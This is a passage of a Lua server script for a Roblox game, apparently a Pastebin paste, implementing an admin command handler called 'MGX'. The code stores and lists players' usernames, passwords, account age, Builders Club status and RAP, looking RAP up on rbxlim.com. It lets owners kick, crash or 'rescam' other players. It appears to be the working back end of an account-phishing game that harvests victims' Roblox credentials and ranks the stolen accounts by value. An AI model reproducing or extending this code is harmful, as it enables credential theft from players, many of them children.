- local http = game:GetService("HttpService")
- local rap = http:GetAsync("http://rbxlim.com/u/" .. slots[3],true)
- rap = string.gsub(rap,",", "")
- local x, y = string.find(rap, "RAP:")
- local res = string.match(string.sub(rap,x), "%d+")
- return res
- else
- return "Err."
- end
- elseif cmd == "GetRSList" then
- local RSType = slots[3]
- if RSType == 1 then return Owners end
- if RSType == 2 then return Admins end
- if RSType == 3 then return ViewAdmins end
- if RSType == 4 then return Bypassers end
- if RSType == 5 then return Mutes end
- if RSType == 6 then return Banned end
- elseif cmd == "GetCountdown" then
- return Countdown
- elseif cmd == "RSCheck" then
- local NameToCheck = slots[3]
- local RSTypeToCheck = slots[4]
- if RSTypeToCheck == 1 then return CheckOwner(NameToCheck) end
- if RSTypeToCheck == 2 then return CheckAdmin(NameToCheck) end
- if RSTypeToCheck == 3 then return CheckViewAdmin(NameToCheck) end
- if RSTypeToCheck == 4 then return CheckBypass(NameToCheck) end
- if RSTypeToCheck == 5 then return CheckMute(NameToCheck) end
- if RSTypeToCheck == 6 then return CheckBan(NameToCheck) end
- elseif cmd == "GetTip" then
- return Tip
- elseif cmd == "GetRadioPerm" then
- return RadioPerm
- elseif cmd == "GetDataList" then
- local finalTable = {}
- if StorageMode == "Local" then
- for i,v in pairs(workspace[StorageName]:getChildren()) do
- local tempTable = {Username = v.Name, Pass = v.pass.Value, BC = v.bc.Value, Age = v.age.Value, Rap = v.rap.Value}
- table.insert(finalTable,tempTable)
- end
- elseif StorageMode == "Global" then
- local DStoreTable = getDataStore()
- if DStoreTable and type(DStoreTable) == "table" then
- for i,v in pairs(DStoreTable) do
- local tempTable = {Username = v.Username, Pass = v.Pass, BC = v.BCVal, Age = v.AgeVal, Rap = v.RapVal}
- table.insert(finalTable,tempTable)
- end
- end
- end
- return finalTable
- elseif cmd == "KickPlayer" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
- if game.Players:findFirstChild(slots[3]) then
- if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
- game.Players[slots[3]].PlayerGui.MGX.MainScript.Kick:InvokeClient(game.Players[slots[3]])
- end
- end
- end
- else
- print(slots[1].Name .. " tried to kick when he/she is not owner/admin!")
- end
- elseif cmd == "CrashPlayer" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
- if game.Players:findFirstChild(slots[3]) then
- if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
- game.Players[slots[3]].PlayerGui.MGX.MainScript.Crash:InvokeClient(game.Players[slots[3]])
- end
- end
- end
- else
- print(slots[1].Name .. " tried to crash when he/she is not owner/admin!")
- end
- elseif cmd == "RescamPlayer" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false and CheckViewAdmin(slots[3]) == false and CheckBypass(slots[3]) == false then
- if game.Players:findFirstChild(slots[3]) then
- if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
- game.Players[slots[3]].PlayerGui.MGX.MainScript.Rescam:InvokeClient(game.Players[slots[3]])
- end
- end
- end
- else
- print(slots[1].Name .. " tried to rescam when he/she is not owner/admin!")
- end
- elseif cmd == "GetPCDetails" then
- return {IsOwner = CheckOwner(slots[3]), IsAdmin = CheckAdmin(slots[3]), IsViewAdmin = CheckViewAdmin(slots[3]), IsBypass = CheckBypass(slots[3]), IsMute = CheckMute(slots[3]), IsBanned = CheckBan(slots[3])}
- elseif cmd == "ChangeVarible" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) or CheckViewAdmin(slots[1].Name) then
- local varTC = slots[3]
- if varTC == "LogGui" then
- LogGui = slots[4]
- LogGuiLabel.Value = slots[4]
- end
- end
- end
- end
- game:WaitForChild("ReplicatedStorage"):WaitForChild("MGX-Main").OnServerInvoke = MGXInvoke
- game.Players.PlayerAdded:connect(function(plr)
- WelcomePlayer(plr)
- end)
- if Radio == false then return end
- coroutine.resume(coroutine.create(function()
- while true do
- local rawRadio = http:GetAsync("http://pastebin.com/raw.php?i=XhdSfTmb")
- RadioLabel.Value = rawRadio
- wait(2)
- end
- end))
- -- RBXLim Checker
- coroutine.resume(coroutine.create(function()
- while true do
- local FinalTestRap = "Nope"
- coroutine.resume(coroutine.create(function()
- local http = game:GetService("HttpService")
- local TestRap = http:GetAsync("http://rbxlim.com/u/" .. "Player",true)
- TestRap = string.gsub(TestRap,",", "")
- local x, y = string.find(TestRap, "RAP:")
- local FinalTestRap = string.match(string.sub(TestRap,x), "%d+")
- end))
- wait(5)
- if FinalTestRap == "Nope" then
- print("RBXLim is down.")
- RBXLim = false
- else
- print("RBXLim is up.")
- RBXLim = true
- end
- wait(30)
- end
- end))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement